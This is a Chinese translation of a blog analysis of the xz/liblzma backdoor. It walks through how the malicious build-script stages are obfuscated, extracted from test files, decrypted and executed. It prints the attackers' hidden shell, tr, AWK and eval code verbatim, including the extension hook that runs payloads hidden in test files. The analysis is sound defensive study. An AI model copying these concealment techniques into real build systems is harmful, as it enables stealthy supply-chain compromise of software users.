昨天,Andres Freund 透過電子郵件告知 oss-security@ 社群,他在 xz/liblzma 中發現了一個隱藏得非常巧妙的後門,這個後門甚至影響到了 OpenSSH 伺服器的安全。Andres 能夠發現並深入調查這個問題,實在令人敬佩。他在郵件中對整個事件進行了全面的總結,所以我就不再贅述了。
誠然,這個故事中最吸引眼球、最耐人尋味的部分,無疑是那個經過重重混淆的、藏有後門的二進位制檔案。然而,勾起我興趣的,卻是 bash 指令碼一開始的那幾段程式碼,以及其中運用的簡單而巧妙的混淆技法。接下來,就讓我們沿著駭客的足跡,一層層揭開這個謎題的面紗,領略大師級的隱藏技巧。不過請注意,我並不打算事無鉅細地解釋每段 bash 程式碼的所有功能,而是著重剖析它們是如何被層層混淆、又是如何被逐一提取出來的。這才是其中的精髓所在。
在正式開始之前,有幾點不得不提:
- 這個後門影響了 xz/liblzma 的兩個版本:5.6.0 和 5.6.1。這兩個版本之間存在一些細微的差異,我會盡量在分析過程中同時覆蓋到它們。
- bash 指令碼部分可以劃分為三個 (也可能是四個) 主要階段,我將其稱為 Stage 0、Stage 1 和 Stage 2。Stage 0 是指在
m4/build-to-host.m4
檔案中新增的啟動程式碼。至於潛在的 “Stage 3”,雖然我懷疑它尚未完全成型,但也會略作提及。 - 那些經過混淆和加密的程式碼,以及後面的二進位制後門,都藏身於兩個看似無害的測試檔案中:
tests/files/bad-3-corrupt_lzma2.xz
和tests/files/good-large_compressed.lzma
。切莫小覷了它們。
讓我們先來看看 Stage 0 ——這個謎題的開端。
Stage 0
正如 Andres 所指出的,一切的起點都在 m4/build-to-host.m4 檔案。讓我們逐步解讀其中的玄機:
...
gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'
...
gl_path_map='tr "\t \-_" " \t_\-"'
...
-
首先,它從
tests/files/bad-3-corrupt_lzma2.xz
檔案中讀取位元組流,並將其輸出,作為下一步的輸入。讀取完所有內容後,它還會額外新增一個換行符。這種步步相扣的方式在整個過程中隨處可見。 -
第二步是執行 tr 命令,將某些字元 (或位元組值) 對映為其他字元。來看幾個例子:
echo "BASH" | tr "ABCD" "1234" 21SH
在這個示例中,“A” 被對映為 “1”,“B” 被對映為 “2”,依此類推。
我們也可以指定字元範圍。例如在上面的示例中,我們只需將 “ABCD” 更改為 “A-D”,並對目標字符集執行相同的操作:“1-4”:
echo "BASH" | tr "A-D" "1-4" 21SH
類似地,我們可以指定它們的 ASCII 程式碼的八進位制形式。所以 “A-D” 可以改成 “\101-\104”,“1-4” 可以變成 “\061-\064”。
echo "BASH" | tr "\101-\104" "\061-\064" 21SH
回到我們的程式碼中,
tr "\t \-_" " \t_\-"
對來自tests/files/bad-3-corrupt_lzma2.xz
檔案的位元組流做了如下替換:-
0x09 (\t) 被替換為 0x20
-
0x20 (空格) 被替換為 0x09
-
0x2d (-) 被替換為 0x5f
-
0x5f (_) 被替換為 0x2d
這一番調換,實際上起到了 “修復” bad-3-corrupt_lzma2.xz 檔案的作用,讓它重獲新生,成為一個合法的 xz 資料流。
-
-
在 Stage 0 的壓軸戲中,修復後的 xz 位元組流被提取出來,並對過程中的錯誤選擇性地忽略。而這個過程的成果,正是 Stage 1 的指令碼,它隨即自我執行起來。
接下來,讓我們關注 Stage 1 ——那個充滿神秘色彩的開端。
Stage 1
在 Andres 的郵件中,Stage 1 對應的是那個以 “####Hello####” 開頭的 bash 檔案。它雖然篇幅不長,但值得我們仔細研讀,並留意 5.6.0 和 5.6.1 版本之間的差異 (以黃色字型做標記):
第一個區別是第二行註釋中的隨機位元組:
- 在 5.6.0 版本中是
86 F9 5A F7 2E 68 6A BC
; - 在 5.6.1 版本中是
E5 55 89 B7 24 04 D8 17
。
我不確定這些差異是否有任何意義,但我還是想指出來。
其中一處引人注目的差異是,5.6.1 版本新增了一段檢查指令碼是否執行於 Linux 的程式碼,並重復出現了 5 次,頗有幾分懺悔和自我約束的意味。
下面我們把目光轉向 Stage 2 的提取程式碼,就是那個長度驚人的 export i=...
語句,裡面塞滿了 head 命令。讓我們仔細分析一下它的運作機制:
-
開頭的
export i=...
其實定義了一個 “函式”,在第 3 步和 Stage 2 中被呼叫。 -
提取 Stage 2 的第一步,是使用 xz 解壓
good-large_compressed.lzma
檔案,並將解壓後的資料傳遞給下一步。這開啟了一系列環環相扣的 “接力賽”。 -
緊接著,i “函式” 登場 (
eval $i
)。這個函式由一系列 head 命令組成,要麼輸出接下來的 N 個位元組,要麼徹底忽略它們。最初的程式碼:
(head -c +1024 >/dev/null)
這裡的
-c +1024
選項告訴 head 只讀取和輸出來自輸入資料流的接下來的 1024 個位元組 (請注意,這裡的 + 將會被忽略,它不會做任何事情,這與 tail 命令不一樣)。但是,由於輸出在這種情況下被重定向到 /dev/null,我們實際得到的是 “跳過接下來的 1024 個位元組”。值得注意的是,如果我們仔細觀察 good-large_compressed.lzma 解壓後的前 1024 個位元組,會發現它幾乎全是重複了 1024 次的字元 “A” (位元組 0x41)。有趣的是,在第一個 1024 個字元之後,還隱藏著一些神秘的二進位制資料。
下一個 head 呼叫看起來和之前幾乎相同,只是長度不同:
head -c +2048
注意這裡的輸出不會被忽略,它將作為輸入傳遞給下一步。
這個模式反覆出現:1024 個位元組被跳過,然後 2048 個位元組被輸出,1024 個位元組被跳過,2048 個輸出...如此迴圈,直到檔案的末尾,在 5.6.0 版本中只輸出 724 個位元組,而在 5.6.1 版本中只輸出 939 個位元組。
為了直觀地呈現這一點,這裡展示了這組 head 呼叫處理的實際輸入資料。位元組 0 在檔案的左上角;每一列表示檔案的 256 個位元組,以灰度表示。請注意高熵 (“嘈雜”) 區域之間的 “空灰” 區域 – 指令碼的這一部分基本上是刪除空白區域,將蘊藏資料的區域合二為一。
-
在下一步中,使用
tail -c +31233
命令丟棄資料的前部 (劇透一下:那裡隱藏了一扇二進位制後門,它將在下一個階段被開啟,所以現在還用不到它)。在 5.6.0 版本中,丟棄的是前 31264 個位元組,而在 5.6.1 版本中是 31232 個位元組 (一個位元組的差異是因為tail -c +N
的意思是 “從第 N 個位元組開始輸出”,而不是 “忽略前 N 個位元組”)。 -
第 5 步重新使用了 tr 命令,在這裡它被用作一個簡單的替換密碼,在 5.6.0 和 5.6.1 版本中有不同的金鑰 (位元組值對映):
5.6.0: tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377" 5.6.1: tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377"
根據之前的解釋,這基本上意味著 (對於 5.6.0 版本) 值為 5 的位元組將被值為 0 的位元組替換,值為 6 的位元組將被值為 1 的位元組替換,依此類推。在每種情況下,都有 6 個範圍對映到整個 0 - 255 (即八進位制的 377) 範圍。
整個過程反覆上演著這樣的 “捉迷藏” 遊戲:跳過 1024 位元組,然後輸出 2048 位元組,再跳過 1024 位元組,再輸出 2048 位元組…… 直到抵達檔案的盡頭。
這部分指令碼的真正任務,是剔除其中的 “廢料”,將有價值的資料部分連綴成完整的資料流。
- 下一步中,資料流的前面一大段被果斷拋棄。
- 往後是藉助 tr 命令實施簡單的替換加密,5.6.0 和 5.6.1 版本使用了不同的金鑰。
- 最後,加密後的資料經過解壓縮,呈現出 Stage 2 指令碼的真容,並立即投入自我執行的懷抱。
現在,讓我們進入 Stage 2,一探究竟。
Stage 2
Stage 2 就是 Andres 郵件中提到的 infected.txt 檔案 (我手頭只有 5.6.0 版本)。這個 bash 指令碼可謂洋洋灑灑,正是在這裡,編譯過程遭到了不軌的修改。
以混淆的視角審視這個指令碼,有三個片段值得我們特別關注,其中兩個僅在 5.6.1 版本中才顯露真容。
Stage 2 擴充套件機制
首先是 Stage 2 的 “擴充套件” 機制:
片段 1:
vs=`grep -broaF '~!:_ W' $srcdir/tests/files/ 2>/dev/null`
if test "x$vs" != "x" > /dev/null 2>&1;then
f1=`echo $vs | cut -d: -f1`
if test "x$f1" != "x" > /dev/null 2>&1;then
start=`expr $(echo $vs | cut -d: -f2) + 7`
ve=`grep -broaF '|_!{ -' $srcdir/tests/files/ 2>/dev/null`
if test "x$ve" != "x" > /dev/null 2>&1;then
f2=`echo $ve | cut -d: -f1`
if test "x$f2" != "x" > /dev/null 2>&1;then
[ ! "x$f2" = "x$f1" ] && exit 0
[ ! -f $f1 ] && exit 0
end=`expr $(echo $ve | cut -d: -f2) - $start`
eval `cat $f1 | tail -c +${start} | head -c +${end} | tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377" | xz -F raw --lzma2 -dc`
fi
fi
fi
fi
片段 2:
vs=`grep -broaF 'jV!.^%' $top_srcdir/tests/files/ 2>/dev/null`
if test "x$vs" != "x" > /dev/null 2>&1;then
f1=`echo $vs | cut -d: -f1`
if test "x$f1" != "x" > /dev/null 2>&1;then
start=`expr $(echo $vs | cut -d: -f2) + 7`
ve=`grep -broaF '%.R.1Z' $top_srcdir/tests/files/ 2>/dev/null`
if test "x$ve" != "x" > /dev/null 2>&1;then
f2=`echo $ve | cut -d: -f1`
if test "x$f2" != "x" > /dev/null 2>&1;then
[ ! "x$f2" = "x$f1" ] && exit 0
[ ! -f $f1 ] && exit 0
end=`expr $(echo $ve | cut -d: -f2) - $start`
eval `cat $f1 | tail -c +${start} | head -c +${end} | tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377" | xz -F raw --lzma2 -dc`
fi
fi
fi
fi
這兩個程式碼片段幾乎完全相同,所以讓我們可以同時處理這兩個片段。它們的作用如下:
-
它在 tests/files/ 目錄下搜尋 (
grep -broaF
) 具有特定簽名的兩個檔案:Fragment 1: "~!:_ W" and "|_!{ -" Fragment 3: "jV!.^%" and "%.R.1Z"
-
如果找到它們,就提取每個檔案的偏移量 (
cut -d: -f2
,假定:
是欄位分隔符,則取第 2 個欄位),以第一個偏移量加 7 為 $start,以第二個檔案的偏移量作為 $end。 -
掌握了 $start 和 $end 這兩個關鍵資訊後,指令碼就能從第一個檔案中提取 $start 到 $end 之間的內容。
cat $f1 | tail -c +${start} | head -c +${end}
-
接下來,它使用和 Stage 1 如出一轍的替換解密方式 (對於 5.6.0 版本的金鑰)。
tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377"
-
最後,解密後的資料再次經過解壓縮,然後立即執行:
eval `... | xz -F raw --lzma2 -dc`
有趣的是,在我分析的兩個版本中,都沒有任何檔案真正匹配這裡的簽名。因此,整個過程更像是一種 “外掛/補丁” 機制,它允許我們在不修改原始 payload 的前提下,向 Stage 2 中注入新的指令碼。
這是一個明智的設計,因為反覆修改 “壞” 和 “好” 的測試檔案是非常可疑的行為,可能會引起他人的注意。因此,他們的計劃似乎是隻新增新的測試檔案,這些檔案會被選中、解密並執行。
Stage 2 後門提取
然後是 Stage 2 中的後門提取過程。在某個關鍵時刻,一個 .o
檔案會被悄然提取出來,並巧妙地嵌入編譯和連結的流程中。以下程式碼就是這個環節的主謀(和之前一樣,我將用黃色字型區分兩個版本的差異):
兩個版本之間的差異,主要體現在壓縮後的 payload 大小略有不同(5.6.0 版本的 payload 大小為 88792,而 5.6.1 版本的 payload 大小為 88664),以及 AWK 指令碼中的一個神秘常量有所變化。
與前面的步驟如出一轍,提取過程由一系列命令的完美配合構成。其中一些步驟與 Stage 1 遙相呼應,因為二進位制的 payload 就安睡在 “good” 檔案資料尚未開墾的處女地。讓我們沿著腳印,一步步探尋:
-
第一步與 Stage 1的第二步相同,用 xz 解壓
tests/files/good-large_compressed.lzma
檔案。 -
第二步同樣與 Stage 1 的第三步一致,呼叫了先前的那個 “很多 head” 的函式。
-
從這裡開始,事情就有所不同了。首先,前一步的輸出透過 sed 命令進行了修改:
LC_ALL=C sed "s/\(.\)/\1\n/g"
這個命令的作用是在每個位元組後面新增一個換行符(除了換行符本身)。最終,我們得到了一個每行只有一個位元組的輸出(沒錯,這裡大量混合了處理檔案的"文字"和"二進位制"方法)。下一步恰好需要這種格式。
-
下一步,一個 AWK 指令碼粉墨登場,它對輸入流進行類似 RC4 的解密工作。以下是該指令碼的美化版本:
BEGIN { # Initialization part. FS = "\n"; # Some AWK settings. RS = "\n"; ORS = ""; m = 256; for(i=0;i<m;i++) { t[sprintf("x%key", i)] = i; key[i] = ((i * 7) + 5) % m; # Creating the cipher key. } i=0; # Skipping 4096 first bytes of the output PRNG stream. j=0; # ↑ it's a typical RC4 thing to do. for(l = 0; l < 4096; l++) { # 5.6.1 uses 8192 instead. i = (i + 1) % m; a = key[i]; j = (j + a) % m; key[i] = key[j]; key[j] = a; } } { # Decription part. # Getting the next byte. v = t["x" (NF < 1 ? RS : $1)]; # Iterating the RC4 PRNG. i = (i + 1) % m; a = key[i]; j = (j + a) % m; b = key[j]; key[i] = b; key[j] = a; k = key[(a + b) % m]; # As pointed out by @nugxperience, RC4 originally XORs the encrypted byte # with the key, but here for some add is used instead (might be an AWK thing). printf "%key", (v + k) % m }
-
解密後的資料再次透過 xz 解壓縮,重獲新生。
xz -dc --single-stream
-
最後,使用相同的常用 head 技巧提取從 N(0)到 W(約 86KB)的位元組,並將其儲存為
liblzma_la-crc64-fast.o
——這就是最終的二進位制後門檔案。((head -c +$N > /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o
總結
透過以上分析,我們可以看到,有人煞費苦心地將這個後門隱藏得如此巧妙,令人歎為觀止。從將 payload 藏匿於看似無害的二進位制測試檔案之中,到運用檔案提取、替換加密、RC4 變種等技巧,再到將整個過程拆分為多個執行階段,並預留 “外掛” 機制以備將來之需,這一切無不凸顯出幕後駭客的心思縝密和技藝精湛。
然而,這個案例也給我們敲響了警鐘:如果這樣一個精心設計的後門都是要靠意外才能發現,那麼,還有多少潛藏的威脅尚未浮出水面?我們又該如何及早發現並防範這些威脅?這需要安全社群每一位成員保持警惕,用更加縝密的思維去分析每一處細節,去揭示每一個蛛絲馬跡。只有如此,我們才能築起維護網路安全的堅實防線。
原文連結🔗:https://gynvael.coldwind.pl/?lang=en&id=782